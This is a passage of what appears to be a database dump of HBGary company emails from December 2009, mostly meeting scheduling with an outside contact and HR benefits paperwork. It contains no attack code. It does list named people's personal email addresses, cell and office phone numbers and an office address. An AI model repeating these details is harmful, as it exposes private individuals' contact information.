Northrop Grumman TASC:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Leland Vulcan\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Leland Vulcan\r\n         \r\n     \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n',14779,'aaron_hbgary_com/14779.html'),(536,'2009-12-09','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1296999905.M492876P3547Q536.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat about lunch on Friday?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 08, 2009 9:01 AM\r\nTo: John Edwards\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi John,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSorry for delay, I started last week in a full sprint.\r\n&nbsp;Are you still available today or Friday? &nbsp;I am meeting Greg and\r\nPenny at 930, I think thats it for me for the day but have to double check with\r\nPenny. &nbsp;I would definitely still like to get together this week if you\r\navailable.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 3, 2009, at 8:48 AM, John Edwards wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m good Tuesday until 1630 and anytime on Friday.&nbsp;\r\nLet me know what works for you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, December\r\n03, 2009 7:29 AM\r\nTo:&nbsp;John Edwards\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGregs in town next week. &nbsp;Do you have something set up\r\nwith him already or should I set something, or does Greg need to be there?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEither way, Tuesday afternoon works, also Friday works.\r\n&nbsp;Either of those days good for you?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 11:45 AM, John Edwards wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis week is crazy &#8211; some large proposals.&nbsp; How about\r\nnext week.&nbsp; What is your schedule for next week?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron\r\nBarr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, December\r\n01, 2009 8:36 AM\r\nTo:&nbsp;John Edwards\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you want to try and link up\r\nthis week or wait until next week when Greg gets into town?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 25, 2009, at 4:02 PM, Penny\r\nHoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;d like to introduce you to Aaron Barr, CEO of HBGary\r\nFederal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a\r\nlot of experience with your old employer.&nbsp; He has his clearance as does\r\nhis President Ted Vera.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet\r\nthen.&nbsp; Please feel free to communicate prior to that as well\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13662,'aaron_hbgary_com/13662.html'),(537,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999905.M887675P3547Q537.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Hi Aaron -','Hey Rich,How about tomorrow? &nbsp;We can do phone or in person. &nbsp;Where are u and whats your schedule?AaronOn Dec 9, 2009, at 11:09 AM, Rich Cummings wrote:Hi Aaron,&nbsp;I hope this finds you well.&nbsp; I’m sorry we haven’t spoken yet but I’m sure you know by now how fast we’re all moving around here.&nbsp; Do you have any time to get together either on the phone or in person today/tomorrow/Friday?&nbsp; I’ll be in Reston today having lunch until about 2PM and could meet up afterwards.&nbsp;Thanks very much.&nbsp; I look forward to meeting you soon.&nbsp;Best,Rich&nbsp;Rich Cummings | CTO | HBGary, Inc.Office 301-652-8885 x112Cell Phone 703-999-5012Website:&nbsp;&nbsp;www.hbgary.com&nbsp;|email:&nbsp;rich@hbgary.com&nbsp;&nbsp;',9055,'aaron_hbgary_com/9055.html'),(538,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999906.M115428P3547Q538.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Introduction','Hey John,By chance you can\'t get together at all tomorrow can you? &nbsp;My Friday has been taken away from me.AaronOn Dec 9, 2009, at 6:16 PM, John Edwards wrote:What about lunch on Friday?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 08, 2009 9:01 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Sorry for delay, I started last week in a full sprint. &nbsp;Are you still available today or Friday? &nbsp;I am meeting Greg and Penny at 930, I think thats it for me for the day but have to double check with Penny. &nbsp;I would definitely still like to get together this week if you available.&nbsp;Aaron&nbsp;&nbsp;On Dec 3, 2009, at 8:48 AM, John Edwards wrote:Aaron,I’m good Tuesday until 1630 and anytime on Friday.&nbsp; Let me know what works for you.&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 03, 2009 7:29 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Gregs in town next week. &nbsp;Do you have something set up with him already or should I set something, or does Greg need to be there?&nbsp;Either way, Tuesday afternoon works, also Friday works. &nbsp;Either of those days good for you?&nbsp;Aaron&nbsp;&nbsp;On Dec 1, 2009, at 11:45 AM, John Edwards wrote:Aaron,This week is crazy – some large proposals.&nbsp; How about next week.&nbsp; What is your schedule for next week?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 01, 2009 8:36 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Do you want to try and link up this week or wait until next week when Greg gets into town?&nbsp;Aaron&nbsp;&nbsp;On Nov 25, 2009, at 4:02 PM, Penny Hoglund wrote:Hi John,&nbsp;I’d like to introduce you to Aaron Barr, CEO of HBGary Federal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a lot of experience with your old employer.&nbsp; He has his clearance as does his President Ted Vera.&nbsp;&nbsp;As I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet then.&nbsp; Please feel free to communicate prior to that as well&nbsp;ThanksPenny&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;',1614,'aaron_hbgary_com/1614.html'),(539,'2009-12-09','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1296999906.M379503P3547Q539.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE:','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI believe you just send your expense report by mail.&nbsp; I\r\nwill need to verify with &nbsp;Penny.&nbsp; &nbsp;I am not much help in that\r\ndepartment.&nbsp;&nbsp; Sorry.\r\n\r\n&nbsp;\r\n\r\nI just sent you the employee packet today. In the packet you\r\nwill find everything you need.&nbsp; Are you &nbsp;coming&nbsp; to the Sacramento\r\noffice next week? &nbsp;&nbsp;If you are can you bring the completed forms?\r\n\r\n&nbsp;\r\n\r\nDeeAnn \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 09, 2009 2:48 PM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Re: \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi DeeAnn,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow do I submit an expense report for reimbursement?\r\n&nbsp;And I still need to do my W2, citizenship, all that stuff. &nbsp;What all\r\ndo you need from me to get me official.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 7, 2009, at 6:22 PM, DeeAnn Buonaccorsi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo\r\nall,\r\n\r\n&nbsp;\r\n\r\nIt&#8217;s\r\nthat time of year again.&nbsp; Time to update your TASKC 1020 Flex Plan.&nbsp; Attached\r\nto this email are forms explaining the Flex Plan and the paperwork associated\r\nwith it.&nbsp; Please take some time to review this information.&nbsp; If you\r\nhave any questions, please feel free to contact DeeAnn or Jeff Bell@onebox.com.&nbsp; Or by his cell phone\r\n510-912-2355. &nbsp; These forms are due by December 16th, 2009.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4724 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;Responder_2DAY_Malware.pdf&gt;&lt;Copy of HBGary-\r\nEnrollment Form 2008 (2).pdf&gt;&lt;Qualified Medical\r\n&nbsp;Expenses.pdf&gt;&lt;eligibleandineligibleexpenses052405.pdf&gt;&lt;Debit\r\nCard Kit.pdf&gt;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16177,'aaron_hbgary_com/16177.html'),(540,'2009-12-09','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999906.M600219P3547Q540.eml','\"John Edwards\" <John.Edwards@agilex.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Greg is our this week','Hey John,\r\n\r\nWe did talk to InQtel, Mark McGovern doesn\'t think end node security\r\nis a big issue to \"his\" customers.  Never mind that there is virtually\r\nno perimeter security that can protect you against malware.  I think\r\nwe just need someone to sponsor.  Aaron and greg can fill you in more.\r\n Greg gets back from boston into IAD at 1:51PM on Friday, I think\r\nAaron is planning on trying to get withyou and greg on friday.  He\'s\r\nin class today, but I\'m copying him.  We\'d love to get to see your\r\ncustomer.  Lots happening, that\'s for sure:)  All good\r\n\r\nOn Wed, Dec 9, 2009 at 8:17 AM, John Edwards  wrote:\r\n> Penny,\r\n>\r\n> I spoke to Aaron and I thought we were planning on something for Friday afternoon.\r\n>\r\n> In addition, I\'m still checking with the customer - he gets back from TDY tomorrow and I\'m checking to see if he could see us on Friday.\r\n>\r\n> BTW, did you guys get a chance to talk to Dan & others at In-Q-Tel?\r\n>\r\n> Hope all is well.\r\n>\r\n> John\r\n>\r\n> -----Original Message-----\r\n> From: Penny Leavy [mailto:penny@hbgary.com]\r\n> Sent: Monday, December 07, 2009 12:18 PM\r\n> To: John Edwards\r\n> Subject: Greg is our this week\r\n>\r\n> DId you want to see him?  Were you able to get the meeting?\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',10821,'aaron_hbgary_com/10821.html'),(541,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999906.M770924P3547Q541.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Greg is our this week','How did things go today?  I was going to meet with John on Friday, but\r\nI have orbital, RavenWing, and blackbird that have taken up nearly the\r\nwhole day.  Checking with John to see if we can do tomorrow.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 9, 2009, at 6:31 PM, Penny Leavy  wrote:\r\n\r\n> Hey John,\r\n>\r\n> We did talk to InQtel, Mark McGovern doesn\'t think end node security\r\n> is a big issue to \"his\" customers.  Never mind that there is virtually\r\n> no perimeter security that can protect you against malware.  I think\r\n> we just need someone to sponsor.  Aaron and greg can fill you in more.\r\n> Greg gets back from boston into IAD at 1:51PM on Friday, I think\r\n> Aaron is planning on trying to get withyou and greg on friday.  He\'s\r\n> in class today, but I\'m copying him.  We\'d love to get to see your\r\n> customer.  Lots happening, that\'s for sure:)  All good\r\n>\r\n> On Wed, Dec 9, 2009 at 8:17 AM, John Edwards\r\n>  wrote:\r\n>> Penny,\r\n>>\r\n>> I spoke to Aaron and I thought we were planning on something for\r\n>> Friday afternoon.\r\n>>\r\n>> In addition, I\'m still checking with the customer - he gets back\r\n>> from TDY tomorrow and I\'m checking to see if he could see us on\r\n>> Friday.\r\n>>\r\n>> BTW, did you guys get a chance to talk to Dan & others at In-Q-Tel?\r\n>>\r\n>> Hope all is well.\r\n>>\r\n>> John\r\n>>\r\n>> -----Original Message-----\r\n>> From: Penny Leavy [mailto:penny@hbgary.com]\r\n>> Sent: Monday, December 07, 2009 12:18 PM\r\n>> To: John Edwards\r\n>> Subject: Greg is our this week\r\n>>\r\n>> DId you want to see him?  Were you able to get the meeting?\r\n>>\r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n',4084,'aaron_hbgary_com/4084.html'),(542,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999907.M320808P3547Q543.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Introduction','How about early morning Friday?AaronFrom my iPhoneOn Dec 9, 2009, at 6:16 PM, John Edwards &lt;John.Edwards@agilex.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWhat about lunch on Friday?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 08, 2009 9:01 AM\r\nTo: John Edwards\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi John,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSorry for delay, I started last week in a full sprint.\r\n Are you still available today or Friday?  I am meeting Greg and\r\nPenny at 930, I think thats it for me for the day but have to double check with\r\nPenny.  I would definitely still like to get together this week if you\r\navailable.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Dec 3, 2009, at 8:48 AM, John Edwards wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI’m good Tuesday until 1630 and anytime on Friday. \r\nLet me know what works for you.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, December\r\n03, 2009 7:29 AM\r\nTo: John Edwards\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nGregs in town next week.  Do you have something set up\r\nwith him already or should I set something, or does Greg need to be there?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEither way, Tuesday afternoon works, also Friday works.\r\n Either of those days good for you?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 11:45 AM, John Edwards wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis week is crazy – some large proposals.  How about\r\nnext week.  What is your schedule for next week?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron\r\nBarr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December\r\n01, 2009 8:36 AM\r\nTo: John Edwards\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you want to try and link up\r\nthis week or wait until next week when Greg gets into town?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 25, 2009, at 4:02 PM, Penny\r\nHoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI’d like to introduce you to Aaron Barr, CEO of HBGary\r\nFederal.  Aaron just joined HBGary Federal from Northrup Grumman and has a\r\nlot of experience with your old employer.  He has his clearance as does\r\nhis President Ted Vera. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs I told you Greg will be out week of December 7th so perhaps we could all meet\r\nthen.  Please feel free to communicate prior to that as well\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12579,'aaron_hbgary_com/12579.html'),(543,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999907.M512370P3547Q544.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Greg is our this week','What\'s the plan for Friday?\r\n\r\n From my iPhone\r\n\r\nOn Dec 9, 2009, at 6:31 PM, Penny Leavy  wrote:\r\n\r\n> Hey John,\r\n>\r\n> We did talk to InQtel, Mark McGovern doesn\'t think end node security\r\n> is a big issue to \"his\" customers.  Never mind that there is virtually\r\n> no perimeter security that can protect you against malware.  I think\r\n> we just need someone to sponsor.  Aaron and greg can fill you in more.\r\n> Greg gets back from boston into IAD at 1:51PM on Friday, I think\r\n> Aaron is planning on trying to get withyou and greg on friday.  He\'s\r\n> in class today, but I\'m copying him.  We\'d love to get to see your\r\n> customer.  Lots happening, that\'s for sure:)  All good\r\n>\r\n> On Wed, Dec 9, 2009 at 8:17 AM, John Edwards\r\n>  wrote:\r\n>> Penny,\r\n>>\r\n>> I spoke to Aaron and I thought we were planning on something for\r\n>> Friday afternoon.\r\n>>\r\n>> In addition, I\'m still checking with the customer - he gets back\r\n>> from TDY tomorrow and I\'m checking to see if he could see us on\r\n>> Friday.\r\n>>\r\n>> BTW, did you guys get a chance to talk to Dan & others at In-Q-Tel?\r\n>>\r\n>> Hope all is well.\r\n>>\r\n>> John\r\n>>\r\n>> -----Original Message-----\r\n>> From: Penny Leavy [mailto:penny@hbgary.com]\r\n>> Sent: Monday, December 07, 2009 12:18 PM\r\n>> To: John Edwards\r\n>> Subject: Greg is our this week\r\n>>\r\n>> DId you want to see him?  Were you able to get the meeting?\r\n>>\r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n',12285,'aaron_hbgary_com/12285.html'),(544,'2009-12-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999907.M67712P3547Q542.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: RE:','I am coming out next week.  I will bring the cormels with if I get them by Saturday.  I will bring my travelStuff as well.AaronFrom my iPhone\r\nOn Dec 9, 2009, at 6:22 PM, &quot;DeeAnn Buonaccorsi&quot; &lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n \r\n\r\nI believe you just send your expense report by mail.  I\r\nwill need to verify with  Penny.   I am not much help in that\r\ndepartment.   Sorry.\r\n\r\n \r\n\r\nI just sent you the employee packet today. In the packet you\r\nwill find everything you need.  Are you  coming  to the Sacramento\r\noffice next week?   If you are can you bring the completed forms?\r\n\r\n \r\n\r\nDeeAnn \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 09, 2009 2:48 PM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Re: \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi DeeAnn,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHow do I submit an expense report for reimbursement?\r\n And I still need to do my W2, citizenship, all that stuff.  What all\r\ndo you need from me to get me official.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Dec 7, 2009, at 6:22 PM, DeeAnn Buonaccorsi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo\r\nall,\r\n\r\n \r\n\r\nIt’s\r\nthat time of year again.  Time to update your TASKC 1020 Flex Plan.  Attached\r\nto this email are forms explaining the Flex Plan and the paperwork associated\r\nwith it.  Please take some time to review this information.  If you\r\nhave any questions, please feel free to contact DeeAnn or Jeff Bell@onebox.com.  Or by his cell phone\r\n510-912-2355.   These forms are due by December 16th, 2009.\r\n\r\n \r\n\r\n \r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.  Suite 250\r\n\r\nSacramento,\r\nCA  95864\r\n\r\nTel: \r\n916-459-4724 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail \r\ndeeann@hbgary.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n&lt;Responder_2DAY_Malware.pdf&gt;&lt;Copy of HBGary-\r\nEnrollment Form 2008 (2).pdf&gt;&lt;Qualified Medical\r\n 